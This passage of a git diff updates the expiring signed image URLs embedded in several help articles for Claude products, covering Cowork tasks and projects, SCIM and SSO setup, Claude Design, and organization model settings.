+![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2104085399/4dda7e6f76026fd827db0b9323a9/f20635bf-15e7-4978-a213-5b9f67e9fb9a?expires=1789538400&signature=4f13c40d4c133c17ef908ad5a69a3873a3e78bf97eb40d220713daefa666498b&req=diEnEsl2mIJWUPMW1HO4zeLJBkzh%2FOKDPx%2FSrZI7l8zaY9L1HSBrs0J99%2FVJ%0As3Ns%0A) 7. Claude will create and schedule your task, and it will be added to the **Scheduled tasks** page. diff --git a/content/support/13947068-assign-tasks-from-anywhere-in-claude-cowork.md b/content/support/13947068-assign-tasks-from-anywhere-in-claude-cowork.md index 85dfc4abb5..ce92c729c5 100644 --- a/content/support/13947068-assign-tasks-from-anywhere-in-claude-cowork.md +++ b/content/support/13947068-assign-tasks-from-anywhere-in-claude-cowork.md @@ -48,11 +48,11 @@ Follow these steps to get started: 5. You’ll land on a page describing the functionality. Click “Get started”: -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2169954086/419674f781edb2977b93cce062b4/93b1893c-d79a-4eb6-b2f1-2fe3e043bd90?expires=1789501500&signature=fd8d96c0bd3ff20b731bcf23c21f7430462e8a3907756f6ced8f853aa2d3e688&req=diEhH8B7mYFXX%2FMW1HO4zSZP0puOFQ%2F6B32drIe5EDnkLp%2FAE9CjQdX1zvRn%0ATbuF%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2169954086/419674f781edb2977b93cce062b4/93b1893c-d79a-4eb6-b2f1-2fe3e043bd90?expires=1789538400&signature=06d79b85ecfa62f322c51f485ec7273dae5b610466e1d48fec28606d34234eaf&req=diEhH8B7mYFXX%2FMW1HO4zSZP0puOFgb7B32drIe5EDmvR4xjiDN56wBSdlye%0AWO%2Fb%0A) 6. On the next screen, you can give Claude access to your files and keep your computer awake by toggling those on: -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2169955082/de4053ee0eab8fcb9263584bb171/d39b77da-1a69-4682-9fdb-7ed488f236b0?expires=1789501500&signature=3a51fb3e39883664a524219c7f21beee57bfaf8e5ccfc90ead23458409b3310b&req=diEhH8B7mIFXW%2FMW1HO4zaZWs9OdXQAbepuGRb1rD3Lspxl9V0WilwWLcZjG%0AFNKN%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2169955082/de4053ee0eab8fcb9263584bb171/d39b77da-1a69-4682-9fdb-7ed488f236b0?expires=1789538400&signature=ac7530ad087f8efe213e974ced72623bc6c85348b6317a784e2eda5eca17dc25&req=diEhH8B7mIFXW%2FMW1HO4zaZWs9OdXgkaepuGRb1rD3Jyaq9uf00J7FzurOgB%0AUxSa%0A) 7. Click “Finish setup.” diff --git a/content/support/14116274-organize-your-tasks-with-projects-in-claude-cowork.md b/content/support/14116274-organize-your-tasks-with-projects-in-claude-cowork.md index 411865579c..adf793795f 100644 --- a/content/support/14116274-organize-your-tasks-with-projects-in-claude-cowork.md +++ b/content/support/14116274-organize-your-tasks-with-projects-in-claude-cowork.md @@ -22,23 +22,23 @@ Cowork is available for paid plans (Pro, Max, Team, Enterprise) on: Find **Projects** in the left navigation panel and click the “+” button to see the three different ways to create a project: -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2183720240/6f6ef438913391703598d86d606c/CleanShot+2026-03-20+at+09_11_43.png?expires=1789501500&signature=e39c907f579aa63dafeea0132da1d4df164b4102908c0c3e6e7ecab953b3fd51&req=diEvFc58nYNbWfMW1HO4zcOgiwy%2F0SlwZwSvwegvtgxo1WbKfdh4tNOUiXEh%0ATvANMfVQgicdtn4Jy%2Bw%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2183720240/6f6ef438913391703598d86d606c/CleanShot+2026-03-20+at+09_11_43.png?expires=1789538400&signature=707a752006c35d44e0d02cfc9d340b33562e9984d0e6540d9abee8d53e89ed2a&req=diEvFc58nYNbWfMW1HO4zcOgiwy%2F0iBxZwSvwegvtgxUlIOqloEUjjCczuLY%0Akqim8WPLhCkhPumcx2A%3D%0A) ### Start from scratch Selecting “Start from scratch” allows you to set up a new folder with instructions and files: -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2177090014/07832b50003cf7fd3b4e9c7c448b/3385d9b8-c3e7-42b9-ae3f-4d213baa53a7?expires=1789501500&signature=d4f3357b5dffb8081da48f9faabab0ccd79820d0e99f96ae495969bcd17695fe&req=diEgEcl3nYFeXfMW1HO4zZCoQ4RATnSTvb0suCMAnj1PC4fnGIpeURcig6yX%0ASY1ES4ZebIh%2F71OTVnU%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2177090014/07832b50003cf7fd3b4e9c7c448b/3385d9b8-c3e7-42b9-ae3f-4d213baa53a7?expires=1789538400&signature=c5253c6deadd9f03988fd203983fff2c3df81cf07790695f002fcd39e588e9fc&req=diEgEcl3nYFeXfMW1HO4zZCoQ4RATX2Svb0suCMAnj18%2FxcGB%2FLzXfU4%2B3U0%0AWc6W5srnlTUtU5zP9o4%3D%0A) ### Import from a Claude project After selecting “Import from project,” you’ll see a “Search projects in Chat…” field: -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2183717962/acdc11bcc825ae76a13f508365bc/CleanShot+2026-03-20+at+09_12_08.png?expires=1789501500&signature=410dbcaa6ce184ea618b5f38dae9311f5416f00b69628addf4d9290c4f2d3b36&req=diEvFc5%2FmohZW%2FMW1HO4zQQ7UGpYypkajggUT7FIJz8ph1dFdYfCMdW%2FXy%2Bz%0A36D0mHfNwRI2ch%2FFy20%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2183717962/acdc11bcc825ae76a13f508365bc/CleanShot+2026-03-20+at+09_12_08.png?expires=1789538400&signature=a4bb17ec30ce809c5bb6aff6797e02149e57c01f02614ffd7a5d2d5c0c993178&req=diEvFc5%2FmohZW%2FMW1HO4zQQ7UGpYyZAbjggUT7FIJz9M91fa%2FUzcsUgmHDE2%0Aefq7mCyyDRI9nT3ix9U%3D%0A) Clicking into the field will display a drop-down showing your recent projects, but you can also use it to search all your projects. After you select a chat project (bulk upload is not supported), you can name the new Cowork project and choose where to save it on your computer: -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2183727973/7a25430123d9e13e7c3cdd411f70/CleanShot+2026-03-20+at+09_13_41.png?expires=1789501500&signature=0b586df1b0ef0194af69beadd76e200e60ac043abf0177f0966017cae3dbe546&req=diEvFc58mohYWvMW1HO4zU%2FKAipD%2FCLJI7f%2FdY0VL6jd71LUd%2B86wYtM18Qy%0AAIaLd5oWAMdRONvaMZo%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2183727973/7a25430123d9e13e7c3cdd411f70/CleanShot+2026-03-20+at+09_13_41.png?expires=1789538400&signature=8cdebb12c1bd813e4ae1198e93422cf2041ac1f97003d77595733f8b3038f3e8&req=diEvFc58mohYWvMW1HO4zU%2FKAipD%2FyvII7f%2FdY0VL6hGNYYX33GQmtO9Vfsf%0AB6n6K1PZwtLIBRtHTas%3D%0A) Clicking “Create” will transfer the files and instructions from your existing Claude project and create a new Cowork project. @@ -46,11 +46,11 @@ Clicking “Create” will transfer the files and instructions from your existin If you select “Use an existing folder,” you’ll be prompted to pick a file to use as context for the new Cowork project: -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2177087935/2f0052dae601d0b7fecdc029e1c3/2e3ca9e7-23b1-436e-bbdb-edcd31c41f15?expires=1789501500&signature=a1313cdd35ecb9a726121f0a46d96af03130a8b6827a087ec9edc4de407c8a5d&req=diEgEcl2mohcXPMW1HO4zejrnz%2FTFSJauv8e2Xj2xOXrYOygIdO3sWfuY%2BOz%0A0srCqh%2Bb4TN8fEyUVys%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2177087935/2f0052dae601d0b7fecdc029e1c3/2e3ca9e7-23b1-436e-bbdb-edcd31c41f15?expires=1789538400&signature=0a8d9b6cda546e239a85c06771ab688a627d7536186134169e1508a6d9557236&req=diEgEcl2mohcXPMW1HO4zejrnz%2FTFitbuv8e2Xj2xOWmG76zWbx04heUS4kQ%0A5gfTiov0nuQ2iiOiiYw%3D%0A) After selecting a folder, you can name the new Cowork project, choose where to save it on your computer, add instructions, and attach any additional files. Click “Create” to start using your new project: -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2177087937/f59dbe3fc28448a9597ea097cb4d/96a59acb-4054-4b4b-a208-751f9711f535?expires=1789501500&signature=cc5c9f0c0562a0e0d80f9a7635d9495ec7999557f2bc05ecb5e40559a5cd2425&req=diEgEcl2mohcXvMW1HO4zUq4V%2Bqxg6M%2FMfnqHouW6MLNhGbCjNCsn%2F%2Fg%2BlIk%0Ac9Ci%2BzuNjq29j1IfRGw%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2177087937/f59dbe3fc28448a9597ea097cb4d/96a59acb-4054-4b4b-a208-751f9711f535?expires=1789538400&signature=838bd09f29ad344d8c838532c31579ce4f0c8e2a13f250c91d1895c4fe683b8b&req=diEgEcl2mohcXvMW1HO4zUq4V%2BqxgKo%2BMfnqHouW6MINMBXwxVu%2FTpnJoPhn%0AXiwvCLxrWqR72%2FXtz24%3D%0A) --- diff --git a/content/support/14499648-how-scim-sync-works-for-enterprise-organizations.md b/content/support/14499648-how-scim-sync-works-for-enterprise-organizations.md index d526f2710c..cbcfcbd795 100644 --- a/content/support/14499648-how-scim-sync-works-for-enterprise-organizations.md +++ b/content/support/14499648-how-scim-sync-works-for-enterprise-organizations.md @@ -50,7 +50,7 @@ You can trigger a manual sync from two places in your admin settings. 2. Click "Check for updates" under **SCIM sync**: -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2312613548/44cd5970ee3c3b2c7f8dcd592d71/image+%2824%29.png?expires=1789501500&signature=faa820ee5b407d52d4356bcaced412ace5fed8ae8eac02e9fba11c1b671ec502&req=diMmFM9%2FnoRbUfMW1HO4zW4gbDyoNcyxrgfl7PnOiunqq3ojhWQ6EuQAxhw%2B%0Aju8C%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2312613548/44cd5970ee3c3b2c7f8dcd592d71/image+%2824%29.png?expires=1789538400&signature=28b90333763b38e1da3249b82d8dd62f907449c64c7d2ff0da2080bb3c292cf8&req=diMmFM9%2FnoRbUfMW1HO4zW4gbDyoNsWwrgfl7PnOiukV3YeSehKGcWFOpVnz%0AcQqj%0A) 3. Select whether to sync members, groups, or both. @@ -62,7 +62,7 @@ You can trigger a manual sync from two places in your admin settings. 3. Select whether to sync members, groups, or both: -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2312608119/e4b0ef4f309f3c4eac8311a6ef47/image.png?expires=1789501500&signature=e4320de6333ea1cbd4c7a046c42261b471a0470b6c933c66643ebea6aef0e0f6&req=diMmFM9%2BlYBeUPMW1HO4zX%2F4frP1yzoa43OpyTHzM9SXOOJXNjzrjGTb%2Ff%2Bz%0AsKcG%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2312608119/e4b0ef4f309f3c4eac8311a6ef47/image.png?expires=1789538400&signature=639c6cb3b528e37083dcfbe2191cd69daa08201a5108f9302269de0db89771c9&req=diMmFM9%2BlYBeUPMW1HO4zX%2F4frP1yDMb43OpyTHzM9SO6h1QekaqEo6KZEbu%0AyGMx%0A) **Note:** If you trigger a manual sync while background changes are processing, your organization takes the most recent change for each member or group. If multiple changes are queued for the same member or group, you may need to resync again to make sure everything applies correctly. diff --git a/content/support/14503613-sso-login.md b/content/support/14503613-sso-login.md index 94f600c80a..ba61d173dd 100644 --- a/content/support/14503613-sso-login.md +++ b/content/support/14503613-sso-login.md @@ -47,9 +47,9 @@ Before configuring your Identity Provider (IdP), you must verify ownership of yo 3. Wait for the DNS propagation. Once the platform detects the record, the domain status will update to “**Verified**.” -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2256015862/476131c3139aec4db01b96127544/10c7a165-8b26-4443-b064-9d659659c65e?expires=1789501500&signature=7062f4197cf141a08590ad8d26d0f1b8edd638520f5ff50b615e40279d3e5d6e&req=diIiEMl%2FmIlZW%2FMW1HO4zdpfuCONGlKK006zz1SmF9VKt%2BYpbRwifRrZ29bu%0Afx53KLWG5k7hsXmzLEA%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2256015862/476131c3139aec4db01b96127544/10c7a165-8b26-4443-b064-9d659659c65e?expires=1789538400&signature=792bdb1eecb572b48ebe02b6c6dfeeea5512c9ba22a6f6c82747b1a4274fd45d&req=diIiEMl%2FmIlZW%2FMW1HO4zdpfuCONGVuL006zz1SmF9WPAu4xqnUxnw0bgzMh%0AyR98UsGd5uWOqWgeRFE%3D%0A) -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2256025910/a82e2de9382824fa9db7666f67c4/CleanShot%2B2026-04-09%2Bat%2B16_25_20-402x.png?expires=1789501500&signature=6f210db4e6f4a2a9c7344ef4fa7b4be20feaa8ba10179778b16075b5f052ddd9&req=diIiEMl8mIheWfMW1HO4zV%2BGnRA6Q75Cx57dwYq5DdLSnirBAJegXmPSgA9u%0Atcco0g3StYwlpGM26eU%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2256025910/a82e2de9382824fa9db7666f67c4/CleanShot%2B2026-04-09%2Bat%2B16_25_20-402x.png?expires=1789538400&signature=8838d5163d27ea07f4880636e5a5b5e34208703acca70d85fb6bd126bfb4e957&req=diIiEMl8mIheWfMW1HO4zV%2BGnRA6QLdDx57dwYq5DdJWVs%2BpZ7sQuOqj%2ByeY%0AuJA6KL1HKK6Ylm0uf9k%3D%0A) **Important:** Each domain can only have one identity provider. If multiple organizations share a single login domain, IT administrators from both organizations will be able to modify login settings. Contact **[Anthropic Support](https://claude.fedstart.com/support)** for assistance with multi-organization setups. For more details about multi-organization setups, see our **[SCIM provisioning guide](https://support.claude.com/en/articles/14503643-set-up-scim-in-claude-for-government)**. @@ -77,7 +77,7 @@ Once your SAML application is set up in your IdP, provide Anthropic with the det - Claims Information — Attribute mappings for user name and email. -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2256004522/a97b91092b393e93b2d7779f63e6/2db86a6d-1582-419e-925e-cbc914468fa1?expires=1789501500&signature=e1818345688f34a63dddd8d8504744726474ca1a36164ee47582563dba020b52&req=diIiEMl%2BmYRdW%2FMW1HO4zQE9Jr6z%2BhX%2BbfNHh%2Fvd8OEmvG7oXrjhsocHiC2s%0AZfuIrvA9U05CKAHr%2BJ0%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2256004522/a97b91092b393e93b2d7779f63e6/2db86a6d-1582-419e-925e-cbc914468fa1?expires=1789538400&signature=7491aa2038855f299bd6db7a628f287c514eafa0330a2c96495188527e16de46&req=diIiEMl%2BmYRdW%2FMW1HO4zQE9Jr6z%2BRz%2FbfNHh%2Fvd8OGhZVuOQJl2%2F6ynLX8g%0ATjuHCzWnl%2BdSeCS%2Bk%2B4%3D%0A) **Tip:** Using a metadata XML file: Most IdPs let you download a metadata.xml file. Upload it on the identity settings page to auto-fill the Signing Certificate, IdP Entity ID, and SSO URL. Some IdPs (like Entra ID) also include claims information in the metadata file; if present, the system will suggest field mappings automatically. diff --git a/content/support/14503643-set-up-scim-in-claude-for-government.md b/content/support/14503643-set-up-scim-in-claude-for-government.md index 64f0b82b72..7536511ff2 100644 --- a/content/support/14503643-set-up-scim-in-claude-for-government.md +++ b/content/support/14503643-set-up-scim-in-claude-for-government.md @@ -41,7 +41,7 @@ With SCIM, login and provisioning are separate. Your IdP tells Anthropic who sho **Important**: Store this key securely. It cannot be retrieved after you leave the page. -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2256040196/c3b045028c4c2edef9172b6fb424/9a71258e-ae73-41e3-83a2-d24a240ac0ae?expires=1789501500&signature=2fb079d6bdf732c11ad694e2895bedb4e45eb144bbaf3c7ec6ae80c5efed9512&req=diIiEMl6nYBWX%2FMW1HO4zSrRlaUaaTcRyIvvU1hav7NEAEfE0Od%2BH8DRAuLn%0AEEw9z8Fi9Hl8ot%2B8xvo%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2256040196/c3b045028c4c2edef9172b6fb424/9a71258e-ae73-41e3-83a2-d24a240ac0ae?expires=1789538400&signature=3b63969de90165d6349d347a7381c0b4a1ed4835b9d64c952b062acc048571b7&req=diIiEMl6nYBWX%2FMW1HO4zSrRlaUaaj4QyIvvU1hav7P2S%2FrpQL5TEyLFTV7m%0ATF2hqjhz6gO1lY6WY34%3D%0A) ### Step 2: Configure SCIM in your Identity Provider @@ -67,7 +67,7 @@ After enabling the integration in your IdP: **Warning**: When you fully enable SCIM provisioning, any users who were **not** synced via SCIM will be removed from the organization. Confirm that all expected users appear in the sync before proceeding. -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2256040198/da9188b8b968d5f900cc08e9ceb2/3814ab37-c3fa-4256-8d16-49c1e1b4c654?expires=1789501500&signature=240aa099e2d9aad4c7055546274162571c1e4d9b315694ffb3830a0563ec4175&req=diIiEMl6nYBWUfMW1HO4zeLvMlFqSk3%2FoWupW8zJgMovaseebZRknZqSP2Yj%0AyVwA1tX%2FtRdZOyJS2tk%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2256040198/da9188b8b968d5f900cc08e9ceb2/3814ab37-c3fa-4256-8d16-49c1e1b4c654?expires=1789538400&signature=b2396bfaabe5be23d2c0408b4cfa39526db0e24a0a15a346e22821c32c8b4eda&req=diIiEMl6nYBWUfMW1HO4zeLvMlFqSUT%2BoWupW8zJgMoGS%2Bu%2FhabcR%2FPzj5Yj%0APR6vHtF6u8sLm1xAeMA%3D%0A) ### Step 4: Map groups to roles and seat tiers @@ -83,7 +83,7 @@ SCIM provisioning uses IdP groups to assign roles and seat tiers within Claude f 3. Save your mappings. -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2256056441/f7eb09bba549e9861fc81b961cc7/2760fa5b-87bb-491f-9354-ca3cd2bc4475?expires=1789501500&signature=395104ee464b919c5fff0f886614032f62621e8feef645cb98b622ff23a41ad4&req=diIiEMl7m4VbWPMW1HO4zaWhsXonskYeh340B79BYGbp866LOB9NVZ5Nsgs3%0AW%2BMQWLtpBxqEi1xLxIw%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2256056441/f7eb09bba549e9861fc81b961cc7/2760fa5b-87bb-491f-9354-ca3cd2bc4475?expires=1789538400&signature=9cda6c8b4057d770d38f630ab1b0af86d9ef8e751ae01e15c3a18cb9f9e6d78d&req=diIiEMl7m4VbWPMW1HO4zaWhsXonsU8fh340B79BYGYjto4I2n4ofSvBztw7%0AJQNNjZAKPN98HqVGUeE%3D%0A) If you manage multiple organizations under a single parent (see below), each organization maintains its own role and seat tier mappings. Switch between organizations using the organization selector in the bottom-left corner of the page. diff --git a/content/support/14503775-mcp-web-search.md b/content/support/14503775-mcp-web-search.md index d69c60902c..76db32c38a 100644 --- a/content/support/14503775-mcp-web-search.md +++ b/content/support/14503775-mcp-web-search.md @@ -4,7 +4,7 @@ The Web Search connector gives Claude the ability to search the public internet For questions about web search in commercial Claude, see **[Enabling and using web search](https://support.claude.com/en/articles/10684626-enabling-and-using-web-search)**. -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2256120763/7652c6c669446113eae75f3c5977/9c74d57e-aaa2-4f1c-bfe4-2b9b87fd41ab?expires=1789501500&signature=e2fa921c39b5c49b4ae4794510b6f13adc313057f7917c1bc4c13943a1da2e48&req=diIiEMh8nYZZWvMW1HO4zQvFLLtWjcX9M%2Fw5SJgC29H6ITeATjZ26RCwFLtM%0AggcNC2VdvjJO8lEuLoY%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2256120763/7652c6c669446113eae75f3c5977/9c74d57e-aaa2-4f1c-bfe4-2b9b87fd41ab?expires=1789538400&signature=54184063e68f712d5ba65ef8e2df03f85c40b248b7d947b0bd9a06500c61e65c&req=diIiEMh8nYZZWvMW1HO4zQvFLLtWjsz8M%2Fw5SJgC29GWvYYw1piZ1asnib78%0At4OUGoX6mbQj2lfJLUA%3D%0A) ## How Web Search differs for Claude for Government diff --git a/content/support/14604397-set-up-your-design-system-in-claude-design.md b/content/support/14604397-set-up-your-design-system-in-claude-design.md index cd860b5f19..72c5c848e7 100644 --- a/content/support/14604397-set-up-your-design-system-in-claude-design.md +++ b/content/support/14604397-set-up-your-design-system-in-claude-design.md @@ -72,7 +72,7 @@ To validate your design system, create a test project and see if the output matc Once you’re satisfied with the design system quality, make sure the “Published” toggle is switched on. After publishing, any projects created from the Claude Design homescreen while in your organization will use your design system instead of the default. -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2287527007/b1c46cb8dba4cd7e8bbea85fb0c3/2819c6cf-9ce1-4df5-84c8-feae0164bf2e?expires=1789501500&signature=eda5008764454cad372bb270e1cc3055b6e08ed09b9e6f6889cfe16351fb77ae&req=diIvEcx8moFfXvMW1HO4zWNHF%2FuODjoSIQKNMXlu0T%2FNQjdVm80j34Rj82aH%0AGO1sLa%2Fjr8ZPJP5YE6o%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2287527007/b1c46cb8dba4cd7e8bbea85fb0c3/2819c6cf-9ce1-4df5-84c8-feae0164bf2e?expires=1789538400&signature=693f58c93db07bcb3959b02a2b653e7e1e73f3017ecbeafd0f90fd64d203589d&req=diIvEcx8moFfXvMW1HO4zWNHF%2FuODTMTIQKNMXlu0T8zEdFZrq9aOIeP60R9%0A4LqHUvJuLiVmK9Z2078%3D%0A) --- diff --git a/content/support/14604406-claude-design-admin-guide-for-team-and-enterprise-plans.md b/content/support/14604406-claude-design-admin-guide-for-team-and-enterprise-plans.md index 3b3338f856..a0e6164c59 100644 --- a/content/support/14604406-claude-design-admin-guide-for-team-and-enterprise-plans.md +++ b/content/support/14604406-claude-design-admin-guide-for-team-and-enterprise-plans.md @@ -18,7 +18,7 @@ Team and Enterprise plan admins can enable this organization-wide by following t 2. Find the **Claude Design** toggle under **Anthropic Labs** and switch it on. -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2289240025/8a528b6cccc3ea1001c25953cb14/image.png?expires=1789501500&signature=62ff4c34e841607f5da4795fe7850e5d67b4680f0b202608f0b5f64ae6c4a6f2&req=diIvH8t6nYFdXPMW1HO4zahp3esNGecgDIPtKBLQ9H%2BWuvcvyOZa3Njh9Jq7%0AcDjZXc7h0csOvuR1jA0%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2289240025/8a528b6cccc3ea1001c25953cb14/image.png?expires=1789538400&signature=f31415857bb4533cee0bd429ce2e27b3940bd96bb1dc9d0933ac0272bcafa5cc&req=diIvH8t6nYFdXPMW1HO4zahp3esNGu4hDIPtKBLQ9H%2Br0XPypJuDrn%2BCT9mB%0ALju4l7ZLWEfl1flSxKA%3D%0A) --- diff --git a/content/support/14604416-get-started-with-claude-design.md b/content/support/14604416-get-started-with-claude-design.md index 82a638d751..40d8778c7a 100644 --- a/content/support/14604416-get-started-with-claude-design.md +++ b/content/support/14604416-get-started-with-claude-design.md @@ -153,7 +153,7 @@ Use the “Export” button in the upper right corner when viewing your project - Send to Claude Code Web -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2287510952/553a03eec5cea7b9eff53b473552/6dc33363-38b1-444e-96bb-f8218b588173?expires=1789501500&signature=537312a4b2c1356c78b77097451244c6b1f21c8c98ada6954b0195e238fde0b4&req=diIvEcx%2FnYhaW%2FMW1HO4zQFD4SVfm2xxnfz9ljnuyXR5ecIjuF9yNNdDefKH%0AuiHE9IUHfj7zcTPiY6g%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2287510952/553a03eec5cea7b9eff53b473552/6dc33363-38b1-444e-96bb-f8218b588173?expires=1789538400&signature=4cbec6e3ec015fee1c460b211120842394564dd3bcc9ac77716ae14c3f8cf802&req=diIvEcx%2FnYhaW%2FMW1HO4zQFD4SVfmGVwnfz9ljnuyXSSWOn8ntmPXfgqd3Xv%0A%2BqKS0Zgo%2B1us4yrv4BY%3D%0A) You can also share projects within your organization using a shareable link. Sharing options include view-only, comment, and edit access. diff --git a/content/support/15330088-set-a-default-model-for-your-organization.md b/content/support/15330088-set-a-default-model-for-your-organization.md index fc86a70f1e..e19214256a 100644 --- a/content/support/15330088-set-a-default-model-for-your-organization.md +++ b/content/support/15330088-set-a-default-model-for-your-organization.md @@ -50,7 +50,7 @@ The organization default applies to every member. To set it: 4. Click “Save changes.” -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2514722139/d05c94072a41ea9090ecf386c53e/c32ee31d-954a-4551-a2da-91677fbd0b6f?expires=1789501500&signature=4ffd850f6bc0a910c319671f0e63ee1c237d1799e455edd66cf02569aefbf8d2&req=diUmEs58n4BcUPMW1HO4zelOdztFLUlCfdGVZ664dGHfBPtYOBqL96IPTwzn%0AW4x62nn9fwcV2K9%2FGVE%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2514722139/d05c94072a41ea9090ecf386c53e/c32ee31d-954a-4551-a2da-91677fbd0b6f?expires=1789538400&signature=daa57deed50e7b1b643540adfb275d76751bf41c664fccf8a21cddb296eb3eaa&req=diUmEs58n4BcUPMW1HO4zelOdztFLkBDfdGVZ664dGGX7%2B86xIJGosjUiUnV%0Ae%2BtijFLIRHd1OQWP3UY%3D%0A) --- diff --git a/content/support/15694740-manage-model-access-for-your-organization.md b/content/support/15694740-manage-model-access-for-your-organization.md index da9247f466..1c53083cee 100644 --- a/content/support/15694740-manage-model-access-for-your-organization.md +++ b/content/support/15694740-manage-model-access-for-your-organization.md @@ -42,9 +42,9 @@ The organization setting is the ceiling. A role can't grant access to a model th If any custom role uses the model you’re disabling as its default, you’ll be prompted to change that role’s default before the change can be saved. -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2514693921/02ea72756f5163f14e5d158516dc/69102088-cd86-498e-97aa-c8a6e0004419?expires=1789501500&signature=4e26aac757eb0fe070bdb39ff40dcefe0856c81d2a1bc69810649c16c5aabf29&req=diUmEs93nohdWPMW1HO4zXlxEu68V9BSQf5Pb7M2Q0uTuYk%2FthDjfztpSyZ7%0A%2F%2Br6Ff0611BvOvERbgc%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2514693921/02ea72756f5163f14e5d158516dc/69102088-cd86-498e-97aa-c8a6e0004419?expires=1789538400&signature=f2f32a59c2a7d3eacf55e43e497745300b456fae53cb530e3aea3c363d77c058&req=diUmEs93nohdWPMW1HO4zXlxEu68VNlTQf5Pb7M2Q0vfrRCyarS1M02Vm9L2%0Awtn7MIzl3r629dhXWs0%3D%0A) -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2514693922/bfc5de6626eb19dca1d7caf818ca/c3cd8bb6-f86c-4d01-92da-6ae4ca966662?expires=1789501500&signature=ec69b1508c346556d3f33b23fe64ac3388e9ea2ba395397462058b02c4b31f8d&req=diUmEs93nohdW%2FMW1HO4zTqNsYDARllSAod9uc510lwlvrvwOzuIAug%2Bmjuo%0Av3b5sC2dxbNqihhGtxY%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2514693922/bfc5de6626eb19dca1d7caf818ca/c3cd8bb6-f86c-4d01-92da-6ae4ca966662?expires=1789538400&signature=917b3f834ff23475ecbf149fa22ac3d133ee5f94384e818e56d8685e749f153d&req=diUmEs93nohdW%2FMW1HO4zTqNsYDARVBTAod9uc510lyaX8HLiWB6PrwUWAN1%0A9cmJ4ghqV%2B0mrbsIUnc%3D%0A) --- @@ -78,7 +78,7 @@ If any custom role has an effort cap higher than the new organization cap for th Only models the role grants access to can be selected as that role’s default model. -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2514693923/880665a87dbd4776cf19d6063a37/29d30c6d-f9fc-408c-8c72-4320c6d88d14?expires=1789501500&signature=fa80958191fc7000961eb66644dd7b8c819170496ef4d44a5bf1fc2102eeb70a&req=diUmEs93nohdWvMW1HO4zYj9SfwG7YC4XsqpNqvyFRJ9iCF5ggZrfLO9aFt3%0AbF58EGLBQ5cjcQ7BYac%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2514693923/880665a87dbd4776cf19d6063a37/29d30c6d-f9fc-408c-8c72-4320c6d88d14?expires=1789538400&signature=b0bb4402328e6d90668f76cef5764734e089af2bfabb7df417f6252efd4e537e&req=diUmEs93nohdWvMW1HO4zYj9SfwG7om5XsqpNqvyFRLiWZvZgZcnuIYv8ofN%0ADE2aQeDAR19JmThFVeM%3D%0A) --- @@ -96,7 +96,7 @@ Effort limits determine how much computation members on a role can apply per res 5. Click "Save" to save your changes. -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2514693927/7a25673b3b075d72adb3cdc371e3/d2d7cd8d-a713-4e91-a706-f589ac46a9fe?expires=1789501500&signature=183f4975331c241b5b6d628a6523372f48564e0550cfa721edee5d3d65c16e05&req=diUmEs93nohdXvMW1HO4ze1xBjq5c7gcDeA1RkowXUFgQueo%2F%2F9LUGIwBdrC%0AU4UytBR5Z0oxTZV%2Fgto%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2514693927/7a25673b3b075d72adb3cdc371e3/d2d7cd8d-a713-4e91-a706-f589ac46a9fe?expires=1789538400&signature=d36ef0ebcad6c29db949f312c8e57f2713260938488e90269628c5c61870b7b9&req=diUmEs93nohdXvMW1HO4ze1xBjq5cLEdDeA1RkowXUE4RPpiA2W3yl48NDTi%0AAXmAe4Hsz5MTF82OFvY%3D%0A) Members on the role see only effort levels at or below the cap in their model menu. Note that available effort levels differ depending on the model, and some models don’t support effort level settings at all. For an explanation of each level, see **[Change the model, effort, and thinking 